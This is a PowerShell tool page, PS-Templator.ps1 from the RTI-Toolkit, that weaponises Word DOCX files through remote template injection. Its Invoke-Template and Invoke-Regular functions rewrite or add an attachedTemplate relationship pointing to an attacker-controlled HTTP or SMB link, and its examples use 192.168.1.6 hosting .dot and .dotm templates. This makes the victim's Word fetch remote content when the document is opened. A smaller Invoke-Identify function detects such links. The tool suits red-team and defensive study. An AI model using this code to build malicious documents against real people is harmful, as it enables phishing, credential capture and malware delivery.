-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathPS-Templator.ps1
869 lines (587 loc) · 24.1 KB
/
PS-Templator.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
<#
RTI-Toolkit File: PS-Templator.ps1
Author: Nikos Vourdas (@nickvourd)
License: MIT
Required Dependencies: None
#>
#Global Variables
$global:version = "1.0.0"
function Get-Logo{
<#
.SYNOPSIS
This module prints logo.
.DESCRIPTION
Get-Logo prints the Ascii art logo of PS-Templator tool.
.Example
PS > Get-Logo
#>
$ascii = @"
__________ ___________ .__ __
\______ \______ \__ ___/___ _____ ______ | | _____ _/ |_ ___________
| ___/ ___/ ______ | |_/ __ \ / \\____ \| | \__ \\ __\/ _ \_ __ \
| | \___ \ /_____/ | |\ ___/| Y Y \ |_> > |__/ __ \| | ( <_> ) | \/
|____| /____ > |____| \___ >__|_| / __/|____(____ /__| \____/|__|
\/ \/ \/|__| \/
~ Created with <3 by @nickvourd ~
Version: $global:version
"@
Write-Host $ascii`n
}
function Get-Version{
<#
.SYNOPSIS
This module prints the version.
.DESCRIPTION
Get-Version prints the current version of PS-Templator tool.
.EXAMPLE
PS > Get-Version
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
Write-Host "`n[+] Current Version:" $global:version`n
}
function Search-Path($path, $statement){
<#
.SYNOPSIS
This module searches path existence.
.DESCRIPTION
Search-Path tries to search if a path exist in the system.
.EXAMPLE
PS > Search-Path "C:\Windows\Tasks" "Output"
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
$pathFlag = $false
if (Test-Path -Path $path){
$pathFlag = $true
}
else{
Write-Host [!] $statement path does not exist...`n
Break
}
return $pathFlag
}
function Get-Pathtype($file){
<#
.SYNOPSIS
This module determines the file path type.
.DESCRIPTION
Get-Pathtype tries to determine if the given file is in absolute path or not.
.EXAMPLE
PS > Get-Pathtype C:\Users\nickvourd\Desktop\Document.docx
.EXAMPLE
PS > Get-Pathtype Document.docx
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
$searchPathType = [System.IO.Path]::IsPathRooted($file)
return $searchPathType
}
function Get-Filetype($file, $type, $statement){
<#
.SYNOPSIS
This module determines the file type of a document.
.DESCRIPTION
Get-Filetype tries to determine if the given file is docx document or not.
.EXAMPLE
PS > Get-Filetype C:\Users\nickvourd\Desktop\Document.docx InputDoc 1
.EXAMPLE
PS > Get-Filetype Document.docx InputDoc
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
$fileExtension = [IO.Path]::GetExtension($file)
if ($statement -eq 1){
if ($fileExtension -ne ".docx"){
Write-Host [!] $type is not a docx file...`n
Break
}
}
elseif ($statement -eq 2){
if ($fileExtension -ne ".txt"){
Write-Host [!] $type is not a txt file...`n
Break
}
}
}
function Search-File($file, $statement){
<#
.SYNOPSIS
This module searches given file in the system.
.DESCRIPTION
Search-File tries to seach if given file exist in the system or not.
.EXAMPLE
PS > Search-File C:\Users\nickvourd\Desktop\Document.docx InputDoc
.EXAMPLE
PS > Search-File Document.docx InputDoc
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
#Call function named Get-Pathtype
$foundPathType = Get-Pathtype $file
if ($foundPathType -eq $true){
#Full path type file search
$searchFile = Get-ChildItem $file -Recurse -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName
}
else{
#Set current system drive
$localDrive = $pwd.drive.name + ":\"
#Relative path type file search
$searchFile = Get-ChildItem $file -Path $localDrive -Recurse -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName
}
if ($null -eq $searchFile){
Write-Host [!] $statement not found...`n
Break
}
return $searchFile
}
function Get-Attacktype($xmlFile, $filenameFolder, $bakDocument, $attackNumber){
<#
.SYNOPSIS
This module searches given XML file in the system and determines the attack type.
.DESCRIPTION
Get-Attacktype tries to seach if given XML file exist in the system or not and suggest you which type of attack should you use.
.EXAMPLE
PS > Get-Attacktype C:\Users\nickvourd\Desktop\Document\word\_rels\settings.xml.rels C:\Users\nickvourd\Desktop\Document C:\Users\nickvourd\Desktop\Document.docx.bak 1
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
$searchFile = Get-ChildItem $xmlFile -Recurse -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName
if ($attackNumber -eq 1){
if ($null -eq $searchFile){
Write-Host [!] $xmlFile does not exists.`n
Write-Host [!] Use Invoke-Regular module for default DOCX documents without Templates.`n
Write-Host [+] Your InputDoc as Back Up: $bakDocument`n
#Clean the rubbish
Remove-Item -LiteralPath $filenameFolder -Recurse -Force
Break
}
}
elseif ($attackNumber -eq 2){
if ($null -ne $searchFile){
Write-Host [!] $xmlFile exists.`n
Write-Host [!] Use Invoke-Template module for DOCX documents with Templates.`n
Write-Host [+] Your InputDoc as Back Up: $bakDocument`n
#Clean the rubbish
Remove-Item -LiteralPath $filenameFolder -Recurse -Force
Break
}
}
}
function Get-NumberRID($xmlFile){
<#
.SYNOPSIS
This module searches for the number of rids in settings.xml file.
.DESCRIPTION
Get-NumberRID tries to seach for the number of rids in settings.xml file (Invoke-Regular attack).
.EXAMPLE
PS > Get-NumberRID C:\Users\nickvourd\Desktop\Document\word\settings.xml
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
#namespaces
$xmlNamespaceR="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
$xmlNamespaceW="http://schemas.openxmlformats.org/wordprocessingml/2006/main"
$rid = 0
[xml]$xmlElm = Get-Content $xmlFile
$documentNamespace = @{r=$xmlNamespaceR;w=$xmlNamespaceW}
$xmlElm | Select-Xml -XPath "//*/@r:id" -Namespace $documentNamespace | ForEach-Object {
if ([int]($_.Node."#text".substring(3)) -gt [int]$rid)
{
$rid = [int]($_.Node."#text".substring(3))
}
}
$rid++
return $rid
}
function Invoke-Template{
<#
.SYNOPSIS
This module is used for default Office Word templates.
.DESCRIPTION
Invoke-Template implements remote template links within default Office Word templates.
.PARAMETER InputDoc
The input DOCX document with the default Office template.
.PARAMETER Link
The input Link for DOCX document.
.PARAMETER Output
The output DOCX document.
.EXAMPLE
PS > Invoke-Template -InputDoc Document.docx -Link "http://192.168.1.6:80/template.dot" -Output FinalDoc.docx
This inserts a URL link to a DOCX document.
.EXAMPLE
PS > Invoke-Template -InputDoc C:\Users\nickvourd\Desktop\Document.docx -Link "http://192.168.1.6:80/template.dot" -Output C:\Windows\Tasks\FinalDoc.docx
This inserts a URL link to a DOCX document (Full path example).
.EXAMPLE
PS > Invoke-Template -InputDoc C:\Users\nickvourd\Desktop\Document.docx -Link "http://192.168.1.6:80/template.dot"
This inserts a URL link to a DOCX document (No Output).
.EXAMPLE
PS > Invoke-Template -InputDoc Document.docx -Link "\\192.168.1.6\smb\template.dotm" -Output FinalDoc.docx
This inserts a share link to a DOCX document.
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
#Arguments
param (
[Parameter(Mandatory=$True,Position=1)]
[ValidateNotNull()]
[string]$InputDoc,
[Parameter(Mandatory=$True,Position=2)]
[ValidateNotNull()]
[string]$Link,
[Parameter(Mandatory=$False,Position=3)]
[ValidateNotNull()]
[string]$Output
)
#Call function named Get-Logo
Get-Logo
#Call function named Search-File
$foundFile = Search-File $InputDoc InputDoc
#Call function named Get-Filetype
Get-Filetype $foundFile InputDoc 1
if ($PSBoundParameters.ContainsKey('Output')){
#Call function named Get-Filetype
Get-Filetype $Output Output 1
}
#Keep back up of the input document
$bakDocument = $foundFile + ".bak"
Copy-Item $foundFile -Destination $bakDocument
#Convert to zip archive
$filenameFolder = $foundFile.Replace(".docx","")
$filenameFolderAll = $filenameFolder + "\*"
$zipArchive = $foundFile + ".zip"
Rename-Item -Path $foundFile -NewName $zipArchive
#Expand archive
Expand-Archive -Path $zipArchive -DestinationPath $filenameFolder
Remove-Item -Path $zipArchive -Force
#Set XML file path
$xmlFile = $filenameFolder +"\word\_rels\settings.xml.rels"
#call function named Get-Attacktype
Get-Attacktype $xmlFile $filenameFolder $bakDocument 1
#Get elements of XML file
[xml]$xmlElm = Get-Content $xmlFile
foreach($relationship in $XmlElm.Relationships.Relationship){
if ($relationship.Type.EndsWith('attachedTemplate'))
{
$relationship.Target = $Link
}
}
#Save changes
$xmlElm.Save($xmlFile)
#Compress new archive
Compress-Archive -Path $filenameFolderAll -DestinationPath $zipArchive
if($PSBoundParameters.ContainsKey('Output')){
#Call function named Get-Pathtype
$foundOutputType = Get-Pathtype $Output Output
$outputFilename = $Output
#If Output is an aboslute path
if ($foundOutputType -ne $false){
$outputFolder = Split-Path $Output
$outputFilename = [System.IO.Path]::GetFileName($Output)
#Call function named Search-Path
$foundPath = Search-Path $outputFolder Output
if ($foundPath -ne $false){
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $outputFilename -Force
#Call function named Search-File
$foundOutputFile = Search-File $outputFilename "Output Filename"
#Move new docx to Output folder
Move-Item -Path $foundOutputFile -Destination $outputFolder -Force
}
}
else{
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $outputFilename -Force
#Call function named Search-File
$foundOutputFile = Search-File $outputFilename "Output Filename"
$Output = $foundOutputFile
}
}
else{
$Output = $foundFile
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $foundFile -Force
}
#Clean the rubbish
Remove-Item -LiteralPath $filenameFolder -Recurse -Force
#Message success output
Write-Host "[+] Your InputDoc as Back Up: $bakDocument`n"
Write-Host "[+] Exported document: $Output`n"
}
function Invoke-Regular{
<#
.SYNOPSIS
This module is used for regular Office Word documents without template.
.DESCRIPTION
Invoke-Regular implements remote template links within default Office Word documents.
.PARAMETER InputDoc
The input DOCX document with the default Office document.
.PARAMETER Link
The input Link for DOCX document.
.PARAMETER Output
The output DOCX document.
.PARAMETER TemplateName
The Template name for /docProps/app.xml in a docx document. By default it is Normal.dotm (Optional Parameter)
.EXAMPLE
PS > Invoke-Regular -InputDoc Document.docx -Link "http://192.168.1.6:8080/template.dot" -Output FinalDoc.docx
This inserts a URL link to a DOCX document.
.EXAMPLE
PS > Invoke-Regular -InputDoc C:\Users\nickvourd\Desktop\Document.docx -Link "http://192.168.1.6/template.dot" -Output C:\Windows\Tasks\FinalDoc.docx
This inserts a URL link to a DOCX document (Full path example).
.EXAMPLE
PS > Invoke-Regular -InputDoc C:\Users\nickvourd\Desktop\Document.docx -Link "http://192.168.1.6/template.dot"
This inserts a URL link to a DOCX document (No Output).
.EXAMPLE
PS > Invoke-Regular -InputDoc Document.docx -Link "http://192.168.1.6/template.dot" -Output FinalDoc.docx -TemplateName Test.dotx
This inserts a share link to a DOCX document and determine a Template name.
.EXAMPLE
PS > Invoke-Regular -InputDoc Document.docx -Link "\\192.168.1.6\smb\template.dot" -Output FinalDoc.docx
This inserts a share link to a DOCX document.
.EXAMPLE
PS > Invoke-Regular -InputDoc Document.docx -Link "\\192.168.1.6\smb\template.dot" -Output FinalDoc.docx -TemplateName Default.dotx
This inserts a share link to a DOCX document and determine a Template name.
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
#Arguments
param (
[Parameter(Mandatory=$True,Position=1)]
[ValidateNotNull()]
[string]$InputDoc,
[Parameter(Mandatory=$True,Position=2)]
[ValidateNotNull()]
[string]$Link,
[Parameter(Mandatory=$False,Position=3)]
[ValidateNotNull()]
[string]$Output,
[Parameter(Mandatory=$False,Position=4)]
[ValidateNotNull()]
[string]$TemplateName
)
#Call function named Get-Logo
Get-Logo
#Call function named Search-File
$foundFile = Search-File $InputDoc InputDoc
#Call function named Get-Filetype
Get-Filetype $foundFile InputDoc 1
if ($PSBoundParameters.ContainsKey('Output')){
#Call function named Get-Filetype
Get-Filetype $Output Output 1
}
#Keep back up of the input document
$bakDocument = $foundFile + ".bak"
Copy-Item $foundFile -Destination $bakDocument
#Convert to zip archive
$filenameFolder = $foundFile.Replace(".docx","")
$filenameFolderAll = $filenameFolder + "\*"
$zipArchive = $foundFile + ".zip"
Rename-Item -Path $foundFile -NewName $zipArchive
#Expand archive
Expand-Archive -Path $zipArchive -DestinationPath $filenameFolder
Remove-Item -Path $zipArchive -Force
#Modify \word\settings.xml
#Set XML file path
$xmlFile = $filenameFolder +"\word\_rels\settings.xml.rels"
#call function named Get-Attacktype
Get-Attacktype $xmlFile $filenameFolder $bakDocument 2
#Reset XML file path
$xmlFile = $filenameFolder +"\word\settings.xml"
#Call function named Get-NumberRID
$foundRid = Get-NumberRID $xmlFile
#set new value
$newValue = @"
<w:attachedTemplate r:id="rId$foundRid"/>
</w:settings>
"@
#Set XML file
[xml]$xmlContent = Get-Content $xmlFile
#Repalce string in XML file
$xmlReplaceString = $xmlContent.OuterXml.replace("</w:settings>",$newValue)
[xml]$xmlContent = $xmlReplaceString
#Save XML file with changes
Set-Content -Path $xmlFile -Value $xmlContent
$xmlContent.Save($xmlFile)
#Create \word\_rels\settings.xml.rels file
$xmlFile = $filenameFolder +"\word\_rels\settings.xml.rels"
$contentSettingsRelsXml =
@"
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId$foundRid" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="$Link" TargetMode="External" /></Relationships>
"@
Set-Content -Path $xmlFile -Value $contentSettingsRelsXml
#if user used parameter named -TemplateName
if($PSBoundParameters.ContainsKey('TemplateName')){
#Modify \docProps\app.xml
$xmlFile = $filenameFolder +"\docProps\app.xml"
#Set XML file
[xml]$xmlElm = Get-Content $xmlFile
#Inset Template Name
$xmlElm.Properties.Template = "$TemplateName"
#Save XML file
Set-Content -Path $xmlFile -Value $XmlFile
$xmlElm.Save($xmlFile)
}
#Compress new archive
Compress-Archive -Path $filenameFolderAll -DestinationPath $zipArchive
if($PSBoundParameters.ContainsKey('Output')){
#Call function named Get-Pathtype
$foundOutputType = Get-Pathtype $Output Output
$outputFilename = $Output
#If Output is an aboslute path
if ($foundOutputType -ne $false){
$outputFolder = Split-Path $Output
$outputFilename = [System.IO.Path]::GetFileName($Output)
#Call function named Search-Path
$foundPath = Search-Path $outputFolder Output
if ($foundPath -ne $false){
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $outputFilename -Force
#Call function named Search-File
$foundOutputFile = Search-File $outputFilename "Output Filename"
#Move new docx to Output folder
Move-Item -Path $foundOutputFile -Destination $outputFolder -Force
}
}
else{
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $outputFilename -Force
#Call function named Search-File
$foundOutputFile = Search-File $outputFilename "Output Filename"
$Output = $foundOutputFile
}
}
else{
$Output = $foundFile
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $foundFile -Force
}
#Clean the rubbish
Remove-Item -LiteralPath $filenameFolder -Recurse -Force
#Message success output
Write-Host "[+] Your InputDoc as Back Up: $bakDocument`n"
Write-Host "[+] Exported document: $Output`n"
}
function Get-Output($Output, $foundOutputType, $message){
<#
.SYNOPSIS
This module checks if Output is absolute path or not and if Output path exists or not.
.DESCRIPTION
Get-Output tries to determine the Output path type and if Output exists.
.EXAMPLE
PS > Get-Output "C:\Windows\Tasks\Test.txt" True "It Works!"
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
#If Output is an aboslute path
if ($foundOutputType -ne $false){
$outputFolder = Split-Path $Output
#$outputFilename = [System.IO.Path]::GetFileName($Output)
#Call function named Search-Path
$foundPath = Search-Path $outputFolder Output 0 1 2 3
if ($foundPath -ne $false){
New-Item -Path $Output -ItemType File -Value $message -Force | Out-Null
#Call function named Search-File
$foundOutputFile = Search-File $Output "Output Filename"
}
}
else{
New-Item -Path $Output -ItemType File -Value $message -Force | Out-Null
#Call function named Search-File
$foundOutputFile = Search-File $Output "Output Filename"
}
return $foundOutputFile
}
function Invoke-Identify{
<#
.SYNOPSIS
This module is used for identifying malicious docx by Remote Template Injection.
.DESCRIPTION
Invoke-Identify indentifies remote template links Within Office Word docx documents.
.PARAMETER InputDoc
The input DOCX document with the default Office template.
.PARAMETER Output
The output of the process.
.EXAMPLE
PS > Invoke-Identify -InputDoc Document.docx -Output results.txt
This tries to identify if the input docx is malicious and saves output in a file.
Supported file extensions for Output file: .txt
.EXAMPLE
PS > Invoke-Identify -InputDoc Document.docx
This tries to identify if the input docx is malicious.
.LINK
Github: https://github.com/nickvourd/RTI-Toolkit
#>
#Arguments
param (
[Parameter(Mandatory=$True,Position=1)]
[ValidateNotNull()]
[string]$InputDoc,
[Parameter(Mandatory=$False,Position=3)]
[ValidateNotNull()]
[string]$Output
)
#Call function named Get-Logo
Get-Logo
#Call function named Search-File
$foundFile = Search-File $InputDoc InputDoc
#Call function named Get-Filetype
Get-Filetype $foundFile InputDoc 1
if ($PSBoundParameters.ContainsKey('Output')){
#Call function named Get-Filetype
Get-Filetype $Output Output 2
#Call function named Get-Pathtype
$foundOutputType = Get-Pathtype $Output Output
}
#Keep back up of the input document
$bakDocument = $foundFile + ".bak"
Copy-Item $foundFile -Destination $bakDocument
#Convert to zip archive
$filenameFolder = $foundFile.Replace(".docx","")
$filenameFolderAll = $filenameFolder + "\*"
$zipArchive = $foundFile + ".zip"
Rename-Item -Path $foundFile -NewName $zipArchive
#Expand archive
Expand-Archive -Path $zipArchive -DestinationPath $filenameFolder
Remove-Item -Path $zipArchive -Force
#Set a path file to investigate
$emergencyPathFile = $filenameFolder +"\word\_rels\settings.xml.rels"
#call function named Search-Path
$foundPathFile = Search-Path $emergencyPathFile $foundFile 1 $foundFile $bakDocument $filenameFolder
#if file exists
if ($foundPathFile -ne $False){
#Get elements of XML file
[xml]$xmlElm = Get-Content $emergencyPathFile
foreach($relationship in $XmlElm.Relationships.Relationship){
if ($relationship.Type.EndsWith('attachedTemplate'))
{
$target = $relationship.Target
}
}
$datestamp = Get-Date -Format "dd/MM/yyyy"
$timestamp = Get-Date -Format "HH:mm:ss"
$successMessage = "[+] [$datestamp at $timestamp] $foundFile is clean Document!`n"
$failMessage = "[!] [$datestamp at $timestamp] Malicious Link found: $target in $foundFile`n"
if ($target.StartsWith("file:///") -and $target.EndsWith("_win32.dotx")){
Write-Host $successMessage`n
if($PSBoundParameters.ContainsKey('Output')){
#call function named Get-Output
$outputFullPath = Get-Output $Output $foundOutputType $successMessage
Write-Host "[+] Output saved: $outputFullPath`n"
}
}
else{
Write-Host $failMessage`n
if($PSBoundParameters.ContainsKey('Output')){
#call function named Get-Output
$outputFullPath = Get-Output $Output $foundOutputType $failMessage
Write-Host "[+] Output saved: $outputFullPath`n"
}
}
}
#Compress new archive
Compress-Archive -Path $filenameFolderAll -DestinationPath $zipArchive
#Rename zip archive to docx file
Rename-Item -Path $zipArchive -NewName $foundFile -Force
#Clean the rubbish
Remove-Item -LiteralPath $filenameFolder -Recurse -Force
Remove-Item -LiteralPath $bakDocument -Recurse -Force
}